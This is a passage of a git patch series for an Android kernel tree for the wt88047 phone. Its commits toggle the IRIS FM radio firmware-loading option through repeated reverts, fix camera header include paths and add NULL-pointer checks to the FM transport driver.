*pFrame) -{ - // Validate the parameter pointers - if (unlikely(NULL == pFrame)) - { - WPAL_TRACE(eWLAN_MODULE_PAL, eWLAN_PAL_TRACE_LEVEL_ERROR, - "%s : NULL packet pointer", __func__); - return; - } - - return vos_recover_tail(WPAL_TO_VOS_PKT(pFrame)); -} - -void* wpalGetOSPktHead(wpt_packet *pFrame) -{ - // Validate the parameter pointers - if (unlikely(NULL == pFrame)) - { - WPAL_TRACE(eWLAN_MODULE_PAL, eWLAN_PAL_TRACE_LEVEL_ERROR, - "%s : NULL packet pointer", __func__); - return NULL; - } - - return vos_get_pkt_head(WPAL_TO_VOS_PKT(pFrame)); -} - -void* wpalGetOSPktend(wpt_packet *pFrame) -{ - // Validate the parameter pointers - if (unlikely(NULL == pFrame)) - { - WPAL_TRACE(eWLAN_MODULE_PAL, eWLAN_PAL_TRACE_LEVEL_ERROR, - "%s : NULL packet pointer", __func__); - return 0; - } - - return vos_get_pkt_end(WPAL_TO_VOS_PKT(pFrame)); -} - /* Set of helper functions that will prepare packet for DMA transfer, based on the type of transfer : - to and from the device diff --git a/drivers/staging/prima/riva/inc/wlan_hal_cfg.h b/drivers/staging/prima/riva/inc/wlan_hal_cfg.h index b1a0fb3966603..34344b8504a62 100644 --- a/drivers/staging/prima/riva/inc/wlan_hal_cfg.h +++ b/drivers/staging/prima/riva/inc/wlan_hal_cfg.h @@ -273,13 +273,12 @@ #define QWLAN_HAL_CFG_LINK_FAIL_TX_CNT 215 #define QWLAN_HAL_CFG_TOGGLE_ARP_BDRATES 216 #define QWLAN_HAL_CFG_OPTIMIZE_CA_EVENT 217 -#define QWLAN_HAL_CFG_SAR_BOFFSET_CORRECTION_ENABLE 220 -#define QWLAN_HAL_CFG_MAX_PARAMS 219 +#define QWLAN_HAL_CFG_MAX_PARAMS 218 /* Total number of Integer CFGs. This is used while allocating the memory for TLV */ -#define QWLAN_HAL_CFG_INTEGER_PARAM 219 +#define QWLAN_HAL_CFG_INTEGER_PARAM 218 /*------------------------------------------------------------------------- Configuration Parameter min, max, defaults From 783b819d9fa16603c52ab91d99b44a1bb80b22f6 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sat, 14 May 2016 14:16:59 +0700 Subject: [PATCH 116/365] Revert "wt88047: Disable IRIS transport firmware loading support" This reverts commit bee181820ec354af9bd7febc46f5f2e08f972a91. Change-Id: If9460b429fd2b3ec543c98a2bd20c2d341d3db29 --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 1 - 1 file changed, 1 deletion(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index e96b496e5fa83..dd76aef4b65be 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -2264,7 +2264,6 @@ CONFIG_RADIO_ADAPTERS=y # CONFIG_RADIO_WL128X is not set CONFIG_RADIO_IRIS=y CONFIG_RADIO_IRIS_TRANSPORT=y -CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE=y # CONFIG_RADIO_SILABS is not set # CONFIG_CYPRESS_FIRMWARE is not set From da9431d9be11c4cdd421aad655b66d808b124905 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sat, 14 May 2016 14:17:14 +0700 Subject: [PATCH 117/365] Revert "media: radio: IRIS transport now built-in" This reverts commit 91aa24c201e9605177e58a119167aa893dd80dfb. Change-Id: Id1cb81cf4c787eb26b11805f199ba82e2bc7d74f --- drivers/media/radio/Kconfig | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/drivers/media/radio/Kconfig b/drivers/media/radio/Kconfig index 65483c23b19a3..fa1cf75444ef7 100644 --- a/drivers/media/radio/Kconfig +++ b/drivers/media/radio/Kconfig @@ -506,14 +506,18 @@ config RADIO_IRIS To compile this driver as a module, choose M here: the module will be called radio-iris. + config RADIO_IRIS_TRANSPORT - bool "Qualcomm IRIS Transport" + tristate "Qualcomm IRIS Transport" depends on RADIO_IRIS default n ---help--- Say Y here if you want to use the Qualcomm FM chip (IRIS). with SMD as transport. + To compile this driver as a module, choose M here: the + module will be called radio-iris-transport. + config RADIO_IRIS_TRANSPORT_NO_FIRMWARE bool "Disable IRIS Transport firmware loading support" depends on RADIO_IRIS_TRANSPORT From d5d677e0be61b918307e1dfe331daecb1eb395ba Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sat, 14 May 2016 14:17:33 +0700 Subject: [PATCH 118/365] Revert "media: radio: IRIS transport without firmware loading support" This reverts commit 5768c019d0574604b00856b8f645cee948b6de08. Change-Id: I75421262f6469d960831dca3542c5c32c7bb2aed --- drivers/media/radio/Kconfig | 7 ------ drivers/media/radio/radio-iris-transport.c | 21 +----------------- drivers/media/radio/radio-iris.c | 25 ---------------------- 3 files changed, 1 insertion(+), 52 deletions(-) diff --git a/drivers/media/radio/Kconfig b/drivers/media/radio/Kconfig index fa1cf75444ef7..e465bb9a21b71 100644 --- a/drivers/media/radio/Kconfig +++ b/drivers/media/radio/Kconfig @@ -518,13 +518,6 @@ config RADIO_IRIS_TRANSPORT To compile this driver as a module, choose M here: the module will be called radio-iris-transport. -config RADIO_IRIS_TRANSPORT_NO_FIRMWARE - bool "Disable IRIS Transport firmware loading support" - depends on RADIO_IRIS_TRANSPORT - default n - ---help--- - Say Y here if you want to disable firmware loading support - config RADIO_SILABS tristate "SILABS FM" depends on I2C && VIDEO_V4L2 diff --git a/drivers/media/radio/radio-iris-transport.c b/drivers/media/radio/radio-iris-transport.c index 015393a7541d5..9007bf040761e 100644 --- a/drivers/media/radio/radio-iris-transport.c +++ b/drivers/media/radio/radio-iris-transport.c @@ -38,17 +38,12 @@ struct radio_data { struct smd_channel *fm_channel; }; struct radio_data hs; -#ifndef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE static DEFINE_MUTEX(fm_smd_enable); static int fmsmd_set; static int hcismd_fm_set_enable(const char *val, struct kernel_param *kp); module_param_call(fmsmd_set, hcismd_fm_set_enable, NULL, &fmsmd_set, 0644); -static void radio_hci_smd_deregister(void); -#else -int fmsmd_ready = -1; -void radio_hci_smd_deregister(void); -#endif static struct work_struct *reset_worker; +static void radio_hci_smd_deregister(void); static void radio_hci_smd_destruct(struct radio_hci_dev *hdev) { @@ -204,11 +199,7 @@ static int radio_hci_smd_register_dev(struct radio_data *hsmd) return 0; } -#ifdef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE -void radio_hci_smd_deregister(void) -#else static void radio_hci_smd_deregister(void) -#endif { radio_hci_unregister_dev(hs.hdev); kfree(hs.hdev); @@ -216,23 +207,14 @@ static void radio_hci_smd_deregister(void) smd_close(hs.fm_channel); hs.fm_channel = 0; -#ifdef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE - fmsmd_ready = -1; -#else fmsmd_set = 0; -#endif } -#ifdef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE -int radio_hci_smd_init(void) -#else static int radio_hci_smd_init(void) -#endif { return radio_hci_smd_register_dev(&hs); } -#ifndef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE static void radio_hci_smd_exit(void) { radio_hci_smd_deregister(); @@ -260,7 +242,6 @@ static int hcismd_fm_set_enable(const char *val, struct kernel_param *kp) mutex_unlock(&fm_smd_enable); return ret; } -#endif MODULE_DESCRIPTION("FM SMD driver"); MODULE_AUTHOR("Ankur Nandwani "); MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/radio/radio-iris.c b/drivers/media/radio/radio-iris.c index c0eecd0280386..5ca5686ec3989 100644 --- a/drivers/media/radio/radio-iris.c +++ b/drivers/media/radio/radio-iris.c @@ -38,16 +38,6 @@ #include #include -#if defined(CONFIG_RADIO_IRIS_TRANSPORT) && defined(CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE) -#define IRIS_TRANSPORT_NO_FIRMWARE -#endif - -#ifdef IRIS_TRANSPORT_NO_FIRMWARE -extern int fmsmd_ready; -extern int radio_hci_smd_init(void); -extern void radio_hci_smd_deregister(void); -#endif - static unsigned int rds_buf = 100; static int oda_agt; static int grp_mask; @@ -5205,9 +5195,6 @@ static int iris_fops_release(struct file *file) END: if (radio->fm_hdev != NULL) radio->fm_hdev->close_smd(); -#ifdef IRIS_TRANSPORT_NO_FIRMWARE - radio_hci_smd_deregister(); -#endif if (retval < 0) FMDERR("Err on disable FM %d\n", retval); @@ -5408,15 +5395,6 @@ static const struct v4l2_ioctl_ops iris_ioctl_ops = { .vidioc_g_ext_ctrls = iris_vidioc_g_ext_ctrls, }; -#ifdef IRIS_TRANSPORT_NO_FIRMWARE -static int iris_fops_open(struct file *f) { - if (fmsmd_ready < 0) { - fmsmd_ready = radio_hci_smd_init(); - } - return fmsmd_ready; -} -#endif - static const struct v4l2_file_operations iris_fops = { .owner = THIS_MODULE, .unlocked_ioctl = video_ioctl2, @@ -5424,9 +5402,6 @@ static const struct v4l2_file_operations iris_fops = { .compat_ioctl32 = v4l2_compat_ioctl32, #endif .release = iris_fops_release, -#ifdef IRIS_TRANSPORT_NO_FIRMWARE - .open = iris_fops_open, -#endif }; static struct video_device iris_viddev_template = { From d63dababef6a247c5f4185ed24452fcd3a1aec13 Mon Sep 17 00:00:00 2001 From: Kumar Gala Date: Fri, 27 Jun 2014 13:33:49 -0500 Subject: [PATCH 119/365] camera_wt88047_v2: Fix compiling kernel in place Change-Id: Idf89f0ec805298bff3a26c4637ab08c1f2d1fb2d --- .../camera_wt88047_v2/sensor/csid/include/msm_csid_2_0_hwreg.h | 2 +- .../camera_wt88047_v2/sensor/csid/include/msm_csid_2_2_hwreg.h | 2 +- .../camera_wt88047_v2/sensor/csid/include/msm_csid_3_0_hwreg.h | 2 +- .../camera_wt88047_v2/sensor/csid/include/msm_csid_3_1_hwreg.h | 2 +- .../camera_wt88047_v2/sensor/csid/include/msm_csid_3_2_hwreg.h | 2 +- .../sensor/csiphy/include/msm_csiphy_2_0_hwreg.h | 2 +- .../sensor/csiphy/include/msm_csiphy_2_2_hwreg.h | 2 +- .../sensor/csiphy/include/msm_csiphy_3_0_hwreg.h | 2 +- .../sensor/csiphy/include/msm_csiphy_3_1_hwreg.h | 2 +- .../sensor/csiphy/include/msm_csiphy_3_2_hwreg.h | 2 +- 10 files changed, 10 insertions(+), 10 deletions(-) diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_0_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_0_hwreg.h index 7bfeb200c80ae..74373a952fd7e 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_0_hwreg.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_0_hwreg.h @@ -13,7 +13,7 @@ #ifndef MSM_CSID_2_0_HWREG_H #define MSM_CSID_2_0_HWREG_H -#include "msm_csid.h" +#include struct csid_reg_parms_t csid_v2_0 = { diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_2_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_2_hwreg.h index 4ad1c2924b1f2..837d59c800b82 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_2_hwreg.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_2_hwreg.h @@ -13,7 +13,7 @@ #ifndef MSM_CSID_2_2_HWREG_H #define MSM_CSID_2_2_HWREG_H -#include "msm_csid.h" +#include struct csid_reg_parms_t csid_v2_2 = { /* MIPI CSID registers */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_0_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_0_hwreg.h index 980f497e4596e..414659079ead4 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_0_hwreg.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_0_hwreg.h @@ -13,7 +13,7 @@ #ifndef MSM_CSID_3_0_HWREG_H #define MSM_CSID_3_0_HWREG_H -#include "msm_csid.h" +#include struct csid_reg_parms_t csid_v3_0 = { /* MIPI CSID registers */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_1_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_1_hwreg.h index d53867f5e5c5f..1bb598384fe72 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_1_hwreg.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_1_hwreg.h @@ -13,7 +13,7 @@ #ifndef MSM_CSID_3_1_HWREG_H #define MSM_CSID_3_1_HWREG_H -#include "msm_csid.h" +#include struct csid_reg_parms_t csid_v3_1 = { /* MIPI CSID registers */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_2_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_2_hwreg.h index b002d78e6f043..49a691f9c66f6 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_2_hwreg.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_2_hwreg.h @@ -13,7 +13,7 @@ #ifndef MSM_CSID_3_2_HWREG_H #define MSM_CSID_3_2_HWREG_H -#include "msm_csid.h" +#include struct csid_reg_parms_t csid_v3_2 = { /* MIPI CSID registers */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_0_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_0_hwreg.h index 5abf99123365c..3b9213c4ca283 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_0_hwreg.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_0_hwreg.h @@ -13,7 +13,7 @@ #ifndef MSM_CSIPHY_2_0_HWREG_H #define MSM_CSIPHY_2_0_HWREG_H -#include "msm_csiphy.h" +#include struct csiphy_reg_parms_t csiphy_v2_0 = { /*MIPI CSI PHY registers*/ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_2_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_2_hwreg.h index 8682478f7e989..7ed88c564c5a9 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_2_hwreg.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_2_hwreg.h @@ -13,7 +13,7 @@ #ifndef MSM_CSIPHY_2_2_HWREG_H #define MSM_CSIPHY_2_2_HWREG_H -#include "msm_csiphy.h" +#include struct csiphy_reg_parms_t csiphy_v2_2 = { /*MIPI CSI PHY registers*/ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_0_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_0_hwreg.h index af4d3e03a7ceb..238fef0f4d5a3 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_0_hwreg.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_0_hwreg.h @@ -13,7 +13,7 @@ #ifndef MSM_CSIPHY_3_0_HWREG_H #define MSM_CSIPHY_3_0_HWREG_H -#include "msm_csiphy.h" +#include struct csiphy_reg_parms_t csiphy_v3_0 = { /*MIPI CSI PHY registers*/ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_1_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_1_hwreg.h index a08d95fde94c1..f1e4e0d9f6990 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_1_hwreg.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_1_hwreg.h @@ -13,7 +13,7 @@ #ifndef MSM_CSIPHY_3_1_HWREG_H #define MSM_CSIPHY_3_1_HWREG_H -#include "msm_csiphy.h" +#include #define MIPI_CSIPHY_GLBL_PWG_CFG0_OFFSET 0x1FC diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_2_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_2_hwreg.h index 19f14e73a92cb..77129f08c8c20 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_2_hwreg.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_2_hwreg.h @@ -13,7 +13,7 @@ #ifndef MSM_CSIPHY_3_2_HWREG_H #define MSM_CSIPHY_3_2_HWREG_H -#include "msm_csiphy.h" +#include struct csiphy_reg_parms_t csiphy_v3_2 = { /*MIPI CSI PHY registers*/ From eded934f3ce226090c7d9fc0458f396fc0f218d7 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Fri, 13 May 2016 22:58:07 +0700 Subject: [PATCH 120/365] radio: iris: Fix NULL pointer access Change-Id: I36eeca90af901a7318508d85a5a0a16cb6d255ef --- drivers/media/radio/radio-iris-transport.c | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/drivers/media/radio/radio-iris-transport.c b/drivers/media/radio/radio-iris-transport.c index 9007bf040761e..0364d56c55adb 100644 --- a/drivers/media/radio/radio-iris-transport.c +++ b/drivers/media/radio/radio-iris-transport.c @@ -47,7 +47,11 @@ static void radio_hci_smd_deregister(void); static void radio_hci_smd_destruct(struct radio_hci_dev *hdev) { - radio_hci_unregister_dev(hs.hdev); + if (hs.hdev != NULL) { + radio_hci_unregister_dev(hs.hdev); + kfree(hs.hdev); + hs.hdev = NULL; + } } @@ -201,9 +205,11 @@ static int radio_hci_smd_register_dev(struct radio_data *hsmd) static void radio_hci_smd_deregister(void) { - radio_hci_unregister_dev(hs.hdev); - kfree(hs.hdev); - hs.hdev = NULL; + if (hs.hdev != NULL) { + radio_hci_unregister_dev(hs.hdev); + kfree(hs.hdev); + hs.hdev = NULL; + } smd_close(hs.fm_channel); hs.fm_channel = 0; From 610cdaa3aa8a3e68e84873015cf0044587f42b32 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sat, 14 May 2016 22:32:52 +0700 Subject: [PATCH 121/365] radio: iris: More checking for NULL pointer access Unregister radio device from FM_OFF mode crashes the kernel Change-Id: I1c18546b9394fdab8ccbb387850629037e636239 --- drivers/media/radio/radio-iris-transport.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/drivers/media/radio/radio-iris-transport.c b/drivers/media/radio/radio-iris-transport.c index 0364d56c55adb..a6c88b561bbd9 100644 --- a/drivers/media/radio/radio-iris-transport.c +++ b/drivers/media/radio/radio-iris-transport.c @@ -39,7 +39,7 @@ struct radio_data { }; struct radio_data hs; static DEFINE_MUTEX(fm_smd_enable); -static int fmsmd_set; +static int fmsmd_set = 0; static int hcismd_fm_set_enable(const char *val, struct kernel_param *kp); module_param_call(fmsmd_set, hcismd_fm_set_enable, NULL, &fmsmd_set, 0644); static struct work_struct *reset_worker; @@ -205,6 +205,11 @@ static int radio_hci_smd_register_dev(struct radio_data *hsmd) static void radio_hci_smd_deregister(void) { + struct radio_data *hsmd = &hs; + + if (hsmd == NULL) + goto done; + if (hs.hdev != NULL) { radio_hci_unregister_dev(hs.hdev); kfree(hs.hdev); @@ -213,6 +218,7 @@ static void radio_hci_smd_deregister(void) smd_close(hs.fm_channel); hs.fm_channel = 0; +done: fmsmd_set = 0; } From 32ad0358b14379cf802e9705c9b20ff3491ef497 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 15 May 2016 11:58:27 +0700 Subject: [PATCH 122/365] Revert "Revert "media: radio: IRIS transport without firmware loading support"" This reverts commit d5d677e0be61b918307e1dfe331daecb1eb395ba. Conflicts: drivers/media/radio/radio-iris-transport.c Change-Id: If93d31bd69f12fe9a89c037c2a450892f695fb48 --- drivers/media/radio/Kconfig | 7 ++++++ drivers/media/radio/radio-iris-transport.c | 21 +++++++++++++++++- drivers/media/radio/radio-iris.c | 25 ++++++++++++++++++++++ 3 files changed, 52 insertions(+), 1 deletion(-) diff --git a/drivers/media/radio/Kconfig b/drivers/media/radio/Kconfig index e465bb9a21b71..fa1cf75444ef7 100644 --- a/drivers/media/radio/Kconfig +++ b/drivers/media/radio/Kconfig @@ -518,6 +518,13 @@ config RADIO_IRIS_TRANSPORT To compile this driver as a module, choose M here: the module will be called radio-iris-transport. +config RADIO_IRIS_TRANSPORT_NO_FIRMWARE + bool "Disable IRIS Transport firmware loading support" + depends on RADIO_IRIS_TRANSPORT + default n + ---help--- + Say Y here if you want to disable firmware loading support + config RADIO_SILABS tristate "SILABS FM" depends on I2C && VIDEO_V4L2 diff --git a/drivers/media/radio/radio-iris-transport.c b/drivers/media/radio/radio-iris-transport.c index a6c88b561bbd9..ea0c5c7222c35 100644 --- a/drivers/media/radio/radio-iris-transport.c +++ b/drivers/media/radio/radio-iris-transport.c @@ -38,12 +38,17 @@ struct radio_data { struct smd_channel *fm_channel; }; struct radio_data hs; +#ifndef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE static DEFINE_MUTEX(fm_smd_enable); static int fmsmd_set = 0; static int hcismd_fm_set_enable(const char *val, struct kernel_param *kp); module_param_call(fmsmd_set, hcismd_fm_set_enable, NULL, &fmsmd_set, 0644); -static struct work_struct *reset_worker; static void radio_hci_smd_deregister(void); +#else +int fmsmd_ready = -1; +void radio_hci_smd_deregister(void); +#endif +static struct work_struct *reset_worker; static void radio_hci_smd_destruct(struct radio_hci_dev *hdev) { @@ -203,7 +208,11 @@ static int radio_hci_smd_register_dev(struct radio_data *hsmd) return 0; } +#ifdef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE +void radio_hci_smd_deregister(void) +#else static void radio_hci_smd_deregister(void) +#endif { struct radio_data *hsmd = &hs; @@ -219,14 +228,23 @@ static void radio_hci_smd_deregister(void) smd_close(hs.fm_channel); hs.fm_channel = 0; done: +#ifdef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE + fmsmd_ready = -1; +#else fmsmd_set = 0; +#endif } +#ifdef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE +int radio_hci_smd_init(void) +#else static int radio_hci_smd_init(void) +#endif { return radio_hci_smd_register_dev(&hs); } +#ifndef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE static void radio_hci_smd_exit(void) { radio_hci_smd_deregister(); @@ -254,6 +272,7 @@ static int hcismd_fm_set_enable(const char *val, struct kernel_param *kp) mutex_unlock(&fm_smd_enable); return ret; } +#endif MODULE_DESCRIPTION("FM SMD driver"); MODULE_AUTHOR("Ankur Nandwani "); MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/radio/radio-iris.c b/drivers/media/radio/radio-iris.c index 5ca5686ec3989..c0eecd0280386 100644 --- a/drivers/media/radio/radio-iris.c +++ b/drivers/media/radio/radio-iris.c @@ -38,6 +38,16 @@ #include #include +#if defined(CONFIG_RADIO_IRIS_TRANSPORT) && defined(CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE) +#define IRIS_TRANSPORT_NO_FIRMWARE +#endif + +#ifdef IRIS_TRANSPORT_NO_FIRMWARE +extern int fmsmd_ready; +extern int radio_hci_smd_init(void); +extern void radio_hci_smd_deregister(void); +#endif + static unsigned int rds_buf = 100; static int oda_agt; static int grp_mask; @@ -5195,6 +5205,9 @@ static int iris_fops_release(struct file *file) END: if (radio->fm_hdev != NULL) radio->fm_hdev->close_smd(); +#ifdef IRIS_TRANSPORT_NO_FIRMWARE + radio_hci_smd_deregister(); +#endif if (retval < 0) FMDERR("Err on disable FM %d\n", retval); @@ -5395,6 +5408,15 @@ static const struct v4l2_ioctl_ops iris_ioctl_ops = { .vidioc_g_ext_ctrls = iris_vidioc_g_ext_ctrls, }; +#ifdef IRIS_TRANSPORT_NO_FIRMWARE +static int iris_fops_open(struct file *f) { + if (fmsmd_ready < 0) { + fmsmd_ready = radio_hci_smd_init(); + } + return fmsmd_ready; +} +#endif + static const struct v4l2_file_operations iris_fops = { .owner = THIS_MODULE, .unlocked_ioctl = video_ioctl2, @@ -5402,6 +5424,9 @@ static const struct v4l2_file_operations iris_fops = { .compat_ioctl32 = v4l2_compat_ioctl32, #endif .release = iris_fops_release, +#ifdef IRIS_TRANSPORT_NO_FIRMWARE + .open = iris_fops_open, +#endif }; static struct video_device iris_viddev_template = { From 376853e8369175d0a9f5c04f10b601c9df765332 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 15 May 2016 11:59:06 +0700 Subject: [PATCH 123/365] Revert "Revert "wt88047: Disable IRIS transport firmware loading support"" This reverts commit 783b819d9fa16603c52ab91d99b44a1bb80b22f6. Change-Id: I23afcb94995d114f1c96da2a08c2be76f22973b2 --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 1 + 1 file changed, 1 insertion(+) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index dd76aef4b65be..e96b496e5fa83 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -2264,6 +2264,7 @@ CONFIG_RADIO_ADAPTERS=y # CONFIG_RADIO_WL128X is not set CONFIG_RADIO_IRIS=y CONFIG_RADIO_IRIS_TRANSPORT=y +CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE=y # CONFIG_RADIO_SILABS is not set # CONFIG_CYPRESS_FIRMWARE is not set From cb21fa267432744e27f22e088109374be3e2ed3c Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Fri, 17 Jun 2016 13:05:16 +0700 Subject: [PATCH 124/365] Revert "Revert "Revert "wt88047: Disable IRIS transport firmware loading support""" This reverts commit 376853e8369175d0a9f5c04f10b601c9df765332. --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 1 - 1 file changed, 1 deletion(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index e96b496e5fa83..dd76aef4b65be 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -2264,7 +2264,6 @@ CONFIG_RADIO_ADAPTERS=y # CONFIG_RADIO_WL128X is not set CONFIG_RADIO_IRIS=y CONFIG_RADIO_IRIS_TRANSPORT=y -CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE=y # CONFIG_RADIO_SILABS is not set # CONFIG_CYPRESS_FIRMWARE is not set From 290124c97d8447e8ea5cb3b938212d59f918eae9 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Fri, 17 Jun 2016 13:05:43 +0700 Subject: [PATCH 125/365] Revert "Revert "Revert "media: radio: IRIS transport without firmware loading support""" This reverts commit 32ad0358b14379cf802e9705c9b20ff3491ef497. --- drivers/media/radio/Kconfig | 7 ------ drivers/media/radio/radio-iris-transport.c | 21 +----------------- drivers/media/radio/radio-iris.c | 25 ---------------------- 3 files changed, 1 insertion(+), 52 deletions(-) diff --git a/drivers/media/radio/Kconfig b/drivers/media/radio/Kconfig index fa1cf75444ef7..e465bb9a21b71 100644 --- a/drivers/media/radio/Kconfig +++ b/drivers/media/radio/Kconfig @@ -518,13 +518,6 @@ config RADIO_IRIS_TRANSPORT To compile this driver as a module, choose M here: the module will be called radio-iris-transport. -config RADIO_IRIS_TRANSPORT_NO_FIRMWARE - bool "Disable IRIS Transport firmware loading support" - depends on RADIO_IRIS_TRANSPORT - default n - ---help--- - Say Y here if you want to disable firmware loading support - config RADIO_SILABS tristate "SILABS FM" depends on I2C && VIDEO_V4L2 diff --git a/drivers/media/radio/radio-iris-transport.c b/drivers/media/radio/radio-iris-transport.c index ea0c5c7222c35..a6c88b561bbd9 100644 --- a/drivers/media/radio/radio-iris-transport.c +++ b/drivers/media/radio/radio-iris-transport.c @@ -38,17 +38,12 @@ struct radio_data { struct smd_channel *fm_channel; }; struct radio_data hs; -#ifndef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE static DEFINE_MUTEX(fm_smd_enable); static int fmsmd_set = 0; static int hcismd_fm_set_enable(const char *val, struct kernel_param *kp); module_param_call(fmsmd_set, hcismd_fm_set_enable, NULL, &fmsmd_set, 0644); -static void radio_hci_smd_deregister(void); -#else -int fmsmd_ready = -1; -void radio_hci_smd_deregister(void); -#endif static struct work_struct *reset_worker; +static void radio_hci_smd_deregister(void); static void radio_hci_smd_destruct(struct radio_hci_dev *hdev) { @@ -208,11 +203,7 @@ static int radio_hci_smd_register_dev(struct radio_data *hsmd) return 0; } -#ifdef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE -void radio_hci_smd_deregister(void) -#else static void radio_hci_smd_deregister(void) -#endif { struct radio_data *hsmd = 